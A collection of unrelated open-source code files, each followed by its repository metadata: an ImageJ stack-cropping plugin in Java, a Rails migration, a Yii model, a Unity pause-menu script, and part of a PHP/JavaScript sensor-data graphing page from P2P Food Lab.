/**=============================================================================== * * MotiQ_cropper plugin for ImageJ, Version v0.1.1 * * Copyright (C) 2014-2017 Jan Niklas Hansen * First version: December 01, 2014 * This Version: May 03, 2017 * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation (http://www.gnu.org/licenses/gpl.txt ) * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-3.0.html>. * * For any questions please feel free to contact me (jan.hansen@caesar.de). * * ==============================================================================*/ package motiQ_cr; import java.awt.*; import java.awt.Font; import java.util.*; import ij.*; import ij.gui.*; import ij.io.*; import ij.measure.*; import ij.plugin.*; import ij.plugin.frame.*; import ij.text.*; import java.text.*; public class Cropper_ implements PlugIn, Measurements { static final String PLUGINNAME = "MotiQ_cropper"; static final String PLUGINVERSION = "v0.1.1"; static final SimpleDateFormat yearOnly = new SimpleDateFormat("yyyy"); //Fonts static final Font SuperHeadingFont = new Font("Sansserif", Font.BOLD, 16); static final Font HeadingFont = new Font("Sansserif", Font.BOLD, 14); static final Font SubHeadingFont = new Font("Sansserif", Font.BOLD, 12); static final Font InstructionsFont = new Font("Sansserif", 2, 12); //variables static final String roiPrefix = "Polygon_Stack_";// //Selection variables static final String[] taskVariant = {"process the active, open image","manually open image to be processed"}; String selectedTaskVariant = taskVariant[0]; static final String[] stackVariants = {"consecutive order (recommended for time-lapse 2D images)", "user-defined order (recommended for time-lapse and non-time-lapse 3D images)"}; String selectedStackVariant = stackVariants [0]; public void run(String arg) { //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //-------------------------GenericDialog-------------------------------------- //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& GenericDialog gd = new GenericDialog(PLUGINNAME + " - settings"); //show Dialog----------------------------------------------------------------- gd.setInsets(0,0,0); gd.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd.setInsets(0,0,0); gd.addChoice("Image:", taskVariant, selectedTaskVariant); gd.setInsets(5,0,0); gd.addChoice("Process stack in ", stackVariants, selectedStackVariant); gd.setInsets(10,0,0); gd.addCheckbox("Post processing, crop image to selected region", true); gd.setInsets(10,0,0); gd.showDialog(); //show Dialog----------------------------------------------------------------- //read and process variables-------------------------------------------------- String selectedTaskVariant = gd.getNextChoice(); selectedStackVariant = gd.getNextChoice(); boolean freeStackOrder = true; if(selectedStackVariant.equals(stackVariants[0])) freeStackOrder = false; boolean cropImage = gd.getNextBoolean(); //read and process variables-------------------------------------------------- if (gd.wasCanceled()) return; //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //---------------------end-GenericDialog-end---------------------------------- //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ImagePlus imp = new ImagePlus(); String name = new String(); String dir = new String(); //get folder and file name if (selectedTaskVariant.equals(taskVariant[1])){ OpenDialog od = new OpenDialog("List Opener", null); name = od.getFileName(); dir = od.getDirectory(); imp = IJ.openImage(""+dir+name+""); imp.show(); }else if (selectedTaskVariant.equals(taskVariant[0])){ imp = WindowManager.getCurrentImage(); FileInfo info = imp.getOriginalFileInfo(); name = info.fileName; //get name dir = info.directory; //get directory } final ImagePlus impSave = imp.duplicate(); impSave.hide(); final String impTitle = imp.getTitle(); //Get Image Properties int width = imp.getWidth(), height = imp.getHeight(), stacksize = imp.getStackSize(), slices = imp.getNSlices(), frames = imp.getNFrames(), channels = imp.getNChannels(); //check for hyperstack boolean hyperStack = true; if(channels == stacksize || frames == stacksize || slices == stacksize) hyperStack = false; //Generate backup image array double backupImage [][][] = new double [width][height][stacksize]; for(int z = 0; z < stacksize; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ backupImage [x][y][z] = imp.getStack().getVoxel(x,y,z); } } } //Init ROI Manager RoiManager rm = RoiManager.getInstance(); if (rm==null) rm = new RoiManager(); rm.runCommand("reset"); running: while(true){ //Process Saving Name SimpleDateFormat NameDateFormatter = new SimpleDateFormat("yyMMdd_HHmmss"); Date currentDate = new Date(); String namewithoutending = name; if(name.contains(".")){ namewithoutending = name.substring(0,name.lastIndexOf("."));//Remove Datatype-Ending from name } String Dataname = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_Info.txt"; String DatanameImp = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + ".tif"; //Process Saving Name Roi roi; // imp.deleteRoi(); int aMaxX [] = new int [stacksize], aMaxY [] = new int [stacksize], aMinX [] = new int [stacksize], aMinY [] = new int [stacksize], aMaxZ = 0, aMinZ = (stacksize-1); for(int i = 0; i < stacksize; i++){ aMaxX [i] = 0; aMaxY [i] = 0; aMinX [i] = width-1; aMinY [i] = height-1; } rm.runCommand("reset"); int startStacking = 0; if(freeStackOrder==false){ SettingRois: while(true){ Stacking: for (int stack = startStacking; stack < stacksize; stack++){ IJ.selectWindow(imp.getID()); IJ.setTool("polygon"); imp.setPosition(stack+1); new WaitForUserDialog("Draw a ROI containing the cell of interest for stack image " + (stack+1) + "!").show(); //start Generic Dialog for navigation //Initialize variables for continue cutting dialog String [] continueVariants = new String [stack + 2 + 4]; continueVariants [0] = "remove remaining stack images, save, and finish"; continueVariants [1] = "apply the current ROI in all remaining stack images, save, and finish"; continueVariants [2] = "keep remaining stack images as is, save, and finish"; continueVariants [3] = "CONTINUE setting ROIs in next stack image (" + (stack+2) + ")"; for (int i = stack+1; i > 0; i--){ continueVariants [3 + (stack+2 - i)] = "restart setting ROIs from stack image " + i; } continueVariants [stack + 2 + 3] = "abort plugin"; //show Dialog GenericDialog gd2 = new GenericDialog(PLUGINNAME + ", version " + PLUGINVERSION); gd2.hideCancelButton(); gd2.setInsets(0,0,0); gd2.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd2.setInsets(5,0,0); gd2.addMessage("You currently have cropped image " + (stack+1) + "/" + stacksize + ".", InstructionsFont); gd2.setInsets(5,0,0); gd2.addMessage((stacksize - stack - 1) + " stack images remaining to process.", InstructionsFont); gd2.setInsets(5,0,0); gd2.addChoice("", continueVariants, continueVariants [3]); gd2.setInsets(5,0,0); gd2.addMessage("Note: if you restart in a previous stack image, all following stack images are reset.", InstructionsFont); gd2.showDialog(); //get Selections int continueVariantIndex = gd2.getNextChoiceIndex(); //end GenericDialog for navigation roi = imp.getRoi(); if(continueVariantIndex == continueVariants.length-1){ //abort break running; }else if(continueVariantIndex > 3){ //restart from previous frame int continueNr = (stack+2-(continueVariantIndex-3)); if(continueNr == stack+1){ imp.setPosition(stack+1); }else{ for(int z = (continueNr-1); z < stack; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,z,backupImage[x][y][z]); } } //Reset of parameters aMaxX [z] = 0; aMaxY [z] = 0; aMinX [z] = width-1; aMinY [z] = height-1; //RoiManager resetten for(int r = (rm.getCount()-1); r >= 0; r--){ String roiName = rm.getName(r); if(roiName.equals(roiPrefix + (z+1) + "")){ rm.runCommand(imp,"Deselect"); rm.select(r); rm.runCommand(imp,"Delete"); } } } } aMaxZ = continueNr-2; if(roi!=null){ imp.setRoi(new PolygonRoi(roi.getPolygon(),Roi.POLYGON)); } startStacking = (continueNr-1); break Stacking; } //----------------------Extract Imagepart--------------------------- if(roi!=null){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stack); if(p.contains(x,y)==false&&pxintensity!=0){ imp.getStack().setVoxel( x, y, stack, 0.0); }else if(p.contains(x,y)){ if(aMinX [stack] > x){aMinX[stack]=x;} if(aMaxX [stack] < x){aMaxX[stack]=x;} if(aMinY [stack] > y){aMinY[stack]=y;} if(aMaxY [stack] < y){aMaxY[stack]=y;} } } } if(aMinZ > stack){aMinZ=stack;} if(aMaxZ < stack){aMaxZ=stack;} }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel( x, y, stack, 0.0); } } // IJ.log("No ROI was selected in image " + stack); } //----------------------Extract Imagepart--------------------------- if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stack+1) + ""); } if(stack == stacksize-1){ //stop setting ROIs, if all images are processed break SettingRois; } if(continueVariantIndex == 1 && roi!=null){ //Finish and apply current ROI to all remaining stack images Polygon p = roi.getPolygon(); for (int stackRoi = stack+1; stackRoi < stacksize; stackRoi++){ if(roi!=null){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stackRoi); if(p.contains(x,y)==false&&pxintensity!=0){ imp.getStack().setVoxel( x, y, stackRoi, 0.0); }else if(p.contains(x,y)){ if(aMinX [stackRoi] > x){aMinX[stackRoi]=x;} if(aMaxX [stackRoi] < x){aMaxX[stackRoi]=x;} if(aMinY [stackRoi] > y){aMinY[stackRoi]=y;} if(aMaxY [stackRoi] < y){aMaxY[stackRoi]=y;} } } } if(aMinZ > stackRoi){aMinZ=stackRoi;} if(aMaxZ < stackRoi){aMaxZ=stackRoi;} rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stackRoi+1) + ""); }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel( x, y, stackRoi, 0.0); } } // IJ.log("No ROI was selected in image " + stackRoi); } } break SettingRois; }else if(continueVariantIndex == 0 || (continueVariantIndex == 1 && roi==null)){ //Finish and remove remaining stack images if(cropImage==false){ for(int z = stack+1; z < stacksize; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,z,0.0); } } } } break SettingRois; }else if(continueVariantIndex == 2){ //Keep remaining stack images and finish for (int stackRoi = stack+1; stackRoi < stacksize; stackRoi++){ aMinX[stackRoi]=0; aMaxX[stackRoi]=imp.getWidth()-1; aMinY[stackRoi]=0; aMaxY[stackRoi]=imp.getHeight()-1; if(aMinZ > stackRoi){aMinZ=stackRoi;} aMaxZ=stackRoi; } break SettingRois; } imp.updateImage(); } } }else{ //list of processed images boolean imageCropped [] = new boolean [stacksize]; for(int i = 0; i < stacksize; i++){ imageCropped [i] = false; } //Variables for intermediate dialog int continueIndex = 5; String [] continueVariants; if(hyperStack){ continueVariants = new String [7]; continueVariants [5] = "CONTINUE setting ROIs in closest remaining slice"; continueVariants [6] = "CONTINUE setting ROIs in closest remaining frame"; }else{ continueVariants = new String [6]; continueVariants [5] = "CONTINUE setting ROIs in closest remaining stack image"; } continueVariants [0] = "abort plugin"; continueVariants [1] = "clear remaining stack images, save, and finish"; continueVariants [2] = "apply the current ROI in all remaining stack images, save, and finish"; continueVariants [3] = "keep remaining stack images as is, save, and finish"; continueVariants [4] = "CONTINUE setting ROIs but stay at current stack position"; SettingRois: while(true){ IJ.setTool("polygon"); IJ.selectWindow(imp.getID()); int stack = 0; int cSlice = imp.getSlice()-1, cFrame = imp.getFrame()-1, cChannel = imp.getChannel()-1; waitingDialog: while(true){ new WaitForUserDialog("Draw a ROI in your preferred slice!").show(); cSlice = imp.getSlice()-1; cFrame = imp.getFrame()-1; cChannel = imp.getChannel()-1; roi = imp.getRoi(); stack = imp.getCurrentSlice()-1; if(imageCropped[stack]==true){ YesNoCancelDialog confirm = new YesNoCancelDialog(IJ.getInstance(),"Action required", "Previously, you had already set a ROI for stack image " + (stack+1) + ". Do you want to reset the image using the new ROI?"); if (confirm.yesPressed()){ imageCropped[stack] = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,stack,backupImage[x][y][stack]); } } //Reset of parameters aMaxX [stack] = 0; aMaxY [stack] = 0; aMinX [stack] = width-1; aMinY [stack] = height-1; //Reset RoiManager for(int z = 0; z < rm.getCount(); z++){ String roiName = rm.getName(z); if(roiName.contains(roiPrefix)){ int stackRoiNr = Integer.parseInt(roiName.substring(roiPrefix.length())); if(stackRoiNr==(stack+1)){ rm.runCommand(imp,"Deselect"); rm.select(z); rm.runCommand(imp,"Delete"); } } } break waitingDialog; } }else{ break waitingDialog; } } imageCropped [stack] = true; //----------------------Extract Imagepart--------------------------- if(roi!=null){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stack); if(p.contains(x,y)==false&&pxintensity!=0.0){ imp.getStack().setVoxel(x, y, stack, 0.0); }else if(p.contains(x,y)){ if(aMinX [stack] > x){aMinX[stack]=x;} if(aMaxX [stack] < x){aMaxX[stack]=x;} if(aMinY [stack] > y){aMinY[stack]=y;} if(aMaxY [stack] < y){aMaxY[stack]=y;} } } } }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x, y, stack, 0.0); } } // IJ.log("No ROI was selected in image " + (stack+1)); } //----------------------Extract Imagepart--------------------------- if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stack+1) + ""); } // Generic Dialog for navigation //Initialize variables for continue cutting dialog //Count remaining frames int cutImgCt = 0; for(int i = 0; i<stacksize; i++){ if(imageCropped[i]){ cutImgCt++; } } //Finish analysis if all images have been cut if(cutImgCt == stacksize) break SettingRois; //generate list of cut images String [] croppedImagesOverview = new String [cutImgCt]; int cutImgCt2 = 0; for(int i = 1; i <= stacksize; i++){ if(imageCropped[i-1]){ croppedImagesOverview [cutImgCt2] = "" + (i); cutImgCt2++; } } //show Dialog GenericDialog gd2 = new GenericDialog(PLUGINNAME + ", version " + PLUGINVERSION); gd2.hideCancelButton(); gd2.setInsets(0,0,0); gd2.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd2.setInsets(5,0,0); gd2.addMessage("You currently cropped image " + (stack+1) + "/" + stacksize + ".", InstructionsFont); gd2.setInsets(5,0,0); gd2.addMessage((stacksize - stack - 1) + " stack images remaining to process.", InstructionsFont); gd2.setInsets(5,0,0); gd2.addChoice("", continueVariants, continueVariants [continueIndex]); gd2.setInsets(15,0,0); gd2.addCheckbox("Reset specific stack image", false); gd2.setInsets(-25,80,0); gd2.addChoice("", croppedImagesOverview , croppedImagesOverview[0]); gd2.showDialog(); //read and process variables continueIndex = gd2.getNextChoiceIndex(); boolean resetFrame = gd2.getNextBoolean(); int resetNr = Integer.parseInt(gd2.getNextChoice())-1; // Generic Dialog for navigation if(continueIndex == 0){ //abort break running; } if(continueIndex==1 || (continueIndex==2 && roi==null)){ //clear remaining stack images, save and finish for(int i = 0; i<stacksize; i++){ if(imageCropped[i]==false){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,i,0.0); } } } } break SettingRois; } if(continueIndex==2 && roi!=null){ //apply the current ROI in all remaining stack images, save, and finish" for(int i = 0; i < stacksize; i++){ if(imageCropped [i]==false){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ if(p.contains(x,y)==false){ imp.getStack().setVoxel(x, y, i, 0.0); }else if(p.contains(x,y)){ if(aMinX [i] > x){aMinX [i] = x;} if(aMaxX [i] < x){aMaxX [i] = x;} if(aMinY [i] > y){aMinY [i] = y;} if(aMaxY [i] < y){aMaxY [i] = y;} } } } imageCropped [i] = true; if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (i+1) + ""); } } } break SettingRois; } if(continueIndex==3){ //keep remaining stack images as is, save and finish for(int i = 0; i<stacksize; i++){ if(imageCropped[i]==false){ aMinX[i]=0; aMaxX[i]=imp.getWidth(); aMinY[i]=0; aMaxY[i]=imp.getHeight(); imageCropped [i] = true; } } break SettingRois; } if(resetFrame){ imp.setPosition(resetNr+1); imageCropped[resetNr] = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,resetNr,backupImage[x][y][resetNr]); } } //Reset of parameters aMaxX [resetNr] = 0; aMaxY [resetNr] = 0; aMinX [resetNr] = width-1; aMinY [resetNr] = height-1; //Rest RoiManager for(int z = 0; z < rm.getCount(); z++){ String roiName = rm.getName(z); if(roiName.contains(roiPrefix)){ int stackRoiNr = Integer.parseInt(roiName.substring(roiPrefix.length())); if(stackRoiNr==(resetNr+1)){ rm.runCommand(imp,"Deselect"); rm.select(z); rm.runCommand(imp,"Delete"); } } } imp.setRoi(roi); } if(continueIndex == 5){ //Auto-moving to next remaining slice or stack image moving: for(int i = 0; i < stacksize; i++){ if(stack+i<stacksize){ if(imageCropped[stack+i]==false){ imp.setPosition(stack+i+1); break moving; } } if(stack-i>=0){ if(imageCropped[stack-i]==false){ imp.setPosition(stack-i+1); break moving; } } } }else if(continueIndex == 6){ //Auto-moving to next remaining frame boolean found = false; search: while(true){ moving: for(int i = 0; i < frames; i++){ if(stack+i*slices<stacksize){ if(imageCropped[stack+i*slices]==false){ imp.setPosition(stack+i*slices+1); found = true; break moving; } } if(stack-i*slices>=0){ if(imageCropped[stack-i*slices]==false){ imp.setPosition(stack-i*slices+1); found = true; break moving; } } } if(found){ break search; }else{ //move to next remaining stack moving: for(int i = 0; i < stacksize; i++){ if(stack+i<stacksize){ if(imageCropped[stack+i]==false){ imp.setPosition(stack+i+1); break moving; } } if(stack-i>=0){ if(imageCropped[stack-i]==false){ imp.setPosition(stack-i+1); break moving; } } } } } } //if image is a hyperstack, search for the closest frame's / slice's / channel's ROI if(hyperStack){ cFrame = imp.getFrame(); cChannel = imp.getChannel(); cSlice = imp.getSlice(); int z; searching: for(int f = 1; f+cFrame <= frames || cFrame-f > 0; f++){ for(int c = 0; cChannel + c <= channels || cChannel-c > 0; c++){ for(int j = 0; j < rm.getCount(); j++){ z = imp.getStackIndex(cChannel+c, cSlice, cFrame+f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel-c, cSlice, cFrame+f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel-c, cSlice, cFrame-f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel+c, cSlice, cFrame-f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } } } } }else{ imp.setRoi(new PolygonRoi(rm.getRoi(rm.getCount()-1).getPolygon(),Roi.POLYGON)); } imp.updateImage(); } for(int z = 0; z < stacksize; z++){ boolean zTrue = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ if(imp.getStack().getVoxel(x,y,z)!=0.0){ zTrue = true; } } } if(zTrue){ if(aMinZ > z){aMinZ=z;} if(aMaxZ < z){aMaxZ=z;} } } } if(cropImage){ int max_x = 0, max_y = 0, min_x = width-1, min_y = height-1, max_z = aMaxZ, min_z = aMinZ; for(int i = 0; i < stacksize; i++){ if(min_x > aMinX[i]){min_x=aMinX[i];} if(max_x < aMaxX[i]){max_x=aMaxX[i];} if(min_y > aMinY[i]){min_y=aMinY[i];} if(max_y < aMaxY[i]){max_y=aMaxY[i];} } if(min_x > 0) {min_x--;} if(max_x < (width-1)) {max_x++;} if(min_y > 0) {min_y--;} if(max_y < (height-1)) {max_y++;} imp.deleteRoi(); Roi RoiCut = new Roi(min_x, min_y, max_x-min_x+1, max_y-min_y+1); IJ.selectWindow(imp.getID()); imp.setRoi(RoiCut); IJ.run(imp, "Crop", ""); imp.getCalibration().xOrigin = imp.getCalibration().xOrigin + min_x; imp.getCalibration().yOrigin = imp.getCalibration().yOrigin + min_y; if(!hyperStack){ imp.getCalibration().zOrigin = imp.getCalibration().zOrigin + min_z; for(int stack = stacksize-1; stack >= 0; stack--){ if(stack<min_z){ IJ.selectWindow(imp.getID()); imp.setPosition(stack+1); IJ.run(imp, "Delete Slice", ""); } if(stack>max_z){ IJ.selectWindow(imp.getID()); imp.setPosition(stack+1); IJ.run(imp, "Delete Slice", ""); } } } SimpleDateFormat FullDateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); TextPanel tp =new TextPanel("Metadata"); tp.append("Cropping started: " + FullDateFormatter.format(currentDate)); if(freeStackOrder){ tp.append("During cropping free stack order mode was used."); } tp.append("Image Cropping Info (Min Values have to be added to any pixel position in the new image " + "to find positions in the original image)"); tp.append(" Min X: " + min_x + " Max X: " + max_x); tp.append(" Min Y: " + min_y + " Max Y: " + max_y); if(!hyperStack){ tp.append(" Min Z: " + min_z + " Max Z: " + max_z + " (0 = smallest)"); }else{ tp.append(""); } tp.append(""); tp.append("Datafile was generated by '"+PLUGINNAME+"', \u00a9 2014 - " + yearOnly.format(new Date()) + " Jan Niklas Hansen (jan.hansen@caesar.de)."); tp.append("The plugin '"+PLUGINNAME+"' is distributed in the hope that it will be useful," + " but WITHOUT ANY WARRANTY; without even the implied warranty of" + " MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."); tp.append("Plugin version: "+PLUGINVERSION); tp.saveAs(Dataname); DatanameImp = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_X" + min_x + "_Y" + min_y + "_Z" + min_z + ".tif"; } imp.deleteRoi(); IJ.saveAsTiff(imp,DatanameImp); // Save RoiSet String Roi_Dataname = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_RoiSet.zip"; rm.runCommand("Save", Roi_Dataname); // Save RoiSet imp.changes = false; imp.close(); YesNoCancelDialog confirm = new YesNoCancelDialog(IJ.getInstance(),"Do it again?", "Your selection was saved. Do you want to cut out another region in the same stack?"); if (confirm.yesPressed()){ imp = impSave.duplicate(); imp.setTitle(impTitle); imp.show(); }else{break running;} } } }
hansenjn/MotiQ
Cropper/src/main/java/motiQ_cr/Cropper_.java
Java
gpl-3.0
27,906
class AddUserIdToBalances < ActiveRecord::Migration[5.0] def change add_column :balances, :user_id, :integer end end
kizzonia/TBTC
db/migrate/20170709204817_add_user_id_to_balances.rb
Ruby
gpl-3.0
125
<?php namespace common\modules\fa\models; use Yii; /** * This is the model class for table "{{%fa_asset_trasaction}}". * * @property string $fa_asset_trasaction_id * @property integer $fa_asset_id * @property integer $transaction_type_id * @property string $quantity * @property string $amount * @property string $description * @property string $status * @property string $reference * @property integer $accounted_cb * @property integer $created_by * @property string $creation_date * @property integer $last_update_by * @property string $last_update_date * @property integer $company_id */ class FaAssetTrasaction extends \yii\db\ActiveRecord { /** * @inheritdoc */ public static function tableName() { return '{{%fa_asset_trasaction}}'; } /** * @inheritdoc */ public function rules() { return [ [['fa_asset_id', 'created_by', 'last_update_by'], 'required'], [['fa_asset_id', 'transaction_type_id', 'accounted_cb', 'created_by', 'last_update_by', 'company_id'], 'integer'], [['quantity', 'amount'], 'number'], [['creation_date', 'last_update_date'], 'safe'], [['description'], 'string', 'max' => 256], [['status'], 'string', 'max' => 25], [['reference'], 'string', 'max' => 50], [['fa_asset_id'], 'unique'], [['transaction_type_id'], 'unique'], [['fa_asset_id', 'quantity'], 'unique', 'targetAttribute' => ['fa_asset_id', 'quantity'], 'message' => 'The combination of Fa Asset ID and Quantity has already been taken.'], ]; } /** * @inheritdoc */ public function attributeLabels() { return [ 'fa_asset_trasaction_id' => Yii::t('app', 'Fa Asset Trasaction ID'), 'fa_asset_id' => Yii::t('app', 'Fa Asset ID'), 'transaction_type_id' => Yii::t('app', 'Transaction Type ID'), 'quantity' => Yii::t('app', 'Quantity'), 'amount' => Yii::t('app', 'Amount'), 'description' => Yii::t('app', 'Description'), 'status' => Yii::t('app', 'Status'), 'reference' => Yii::t('app', 'Reference'), 'accounted_cb' => Yii::t('app', 'Accounted Cb'), 'created_by' => Yii::t('app', 'Created By'), 'creation_date' => Yii::t('app', 'Creation Date'), 'last_update_by' => Yii::t('app', 'Last Update By'), 'last_update_date' => Yii::t('app', 'Last Update Date'), 'company_id' => Yii::t('app', 'Company ID'), ]; } }
zeddarn/yinoerp
_protected/common/modules/fa/models/FaAssetTrasaction.php
PHP
gpl-3.0
2,611
using UnityEngine; public class PauseMenuHandler : MonoBehaviour { public void ResumeGame() { MenuSystem.instance.ResumeGame(); } public void AbortGame() { MenuSystem.instance.AbortGame(); } }
Rezmason/Gamut
Assets/UI Scripts/PauseMenuHandler.cs
C#
gpl-3.0
199
<?php /* P2P Food Lab P2P Food Lab is an open, collaborative platform to develop an alternative food value system. Copyright (C) 2013 Sony Computer Science Laboratory Paris Author: Peter Hanappe This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ if (1) { $osd = new OpenSensorData(null, null, null); $start_timestamp = date("U"); $end_timestamp = 0; $datastreams = $this->group->datastreams; for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { $interval = $osd->get_datastream_interval($datastream->id); if ($interval && (count($interval) >= 2)) { $s = strtotime($interval[0]); $e = strtotime($interval[1]); //echo "datastream " . $datastream->id . ": start " . date("Y-m-d H:i:s", $s) . ", end " . date("Y-m-d H:i:s", $e) . "<br>\n"; if ($s < $start_timestamp) $start_timestamp = $s; if ($e > $end_timestamp) $end_timestamp = $e; } } } $start_year = date("Y", $start_timestamp); $start_month = date("m", $start_timestamp); $start_day = date("d", $start_timestamp); $end_year = date("Y", $end_timestamp); $end_month = date("m", $end_timestamp); $end_day = date("d", $end_timestamp); } else { $start_year = date("Y"); $start_month = date("m"); $start_day = 1; $end_year = $start_year; $end_month = $start_month; $end_day = date("d"); } $start_date = sprintf("%04d-%02d-%02d", $start_year, $start_month, $start_day); $start_date_js = sprintf('%04d,%02d,%02d', $start_year, ($start_month-1), $start_day); $end_date = sprintf("%04d-%02d-%02d", $end_year, $end_month, $end_day); $end_date_js = sprintf('%04d,%02d,%02d', $end_year, ($end_month-1), $end_day); $range = sprintf("%04d%02d%02d/%04d%02d%02d", $start_year, $start_month, $start_day, $end_year, $end_month, $end_day); ?> <script type="text/javascript"> var startDate = new Date(<?php echo $start_date_js ?>); var endDate = new Date(<?php echo $end_date_js ?>); <?php echo "var graphs = []\n"; echo "var slideshows = []\n"; echo "var blockRedraw = false;\n"; echo "var datastreams = [ "; $n = 0; $datastreams = $this->group->datastreams; for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { if ($n > 0) echo ", "; echo $datastream->id; $n++; } } echo " ];\n"; $photostreams = $this->group->photostreams; echo "var photostreams = [ "; $n = 0; for ($j = 0; $j < count($photostreams); $j++) { $photostream = $photostreams[$j]; if ($n > 0) echo ", "; echo $photostream->id; $n++; } echo " ];\n"; ?> var timer = null; var updating = false; var osd = new OpenSensorData("<?php echo $base_url ?>/opensensordata", null); function twoDigits(n) { if (n < 10) return "0" + n; else return "" + n; } function formatDate(d) { return ("" + d.getFullYear() + twoDigits(1 + d.getMonth()) + twoDigits(d.getDate())); } function formatDate2(d) { return ("" + d.getFullYear() + "-" + twoDigits(1 + d.getMonth()) + "-" + twoDigits(d.getDate())); } function checkUpdating() { if (!updating) return; for (i = 0; i < datastreams.length; i++) if (graphs[i].updating) return; for (i = 0; i < photostreams.length; i++) if (slideshows[i].updating) return; updating = false; for (i = 0; i < datastreams.length; i++) { if (graphs[i].numRows() > 0) graphs[i].resetZoom(); } } function updateDatasets() { var range = formatDate(startDate) + "/" + formatDate(endDate); //var d = formatDate(endDate); if (updating) return; updating = true; for (i = 0; i < datastreams.length; i++) { var path = ("filter/" + datastreams[i] + "/" + range + ".json"); //var path = ("datapoints/" + datastreams[i] + "/" + range + ".json"); //var path = ("filter/" + datastreams[i] + "/" + d + ".json"); var updater = { "graph": graphs[i], "callback": function(me, data) { //alert(data); me.graph.updateOptions({ "file": data, "customBars": true, "errorBars": true }); me.graph.updating = false; checkUpdating(); } }; graphs[i].updating = true; osd.getdata(path, updater, updater.callback); } for (i = 0; i < photostreams.length; i++) { var path = ("photos/" + photostreams[i] + "/" + range + ".json"); //var path = ("photos/" + photostreams[i] + "/" + d + ".json"); var updater = { "slideshow": slideshows[i], "callback": function(me, data) { me.slideshow.setPhotos(data); me.slideshow.updating = false; checkUpdating(); } }; slideshows[i].updating = true; osd.get(path, updater, updater.callback); } 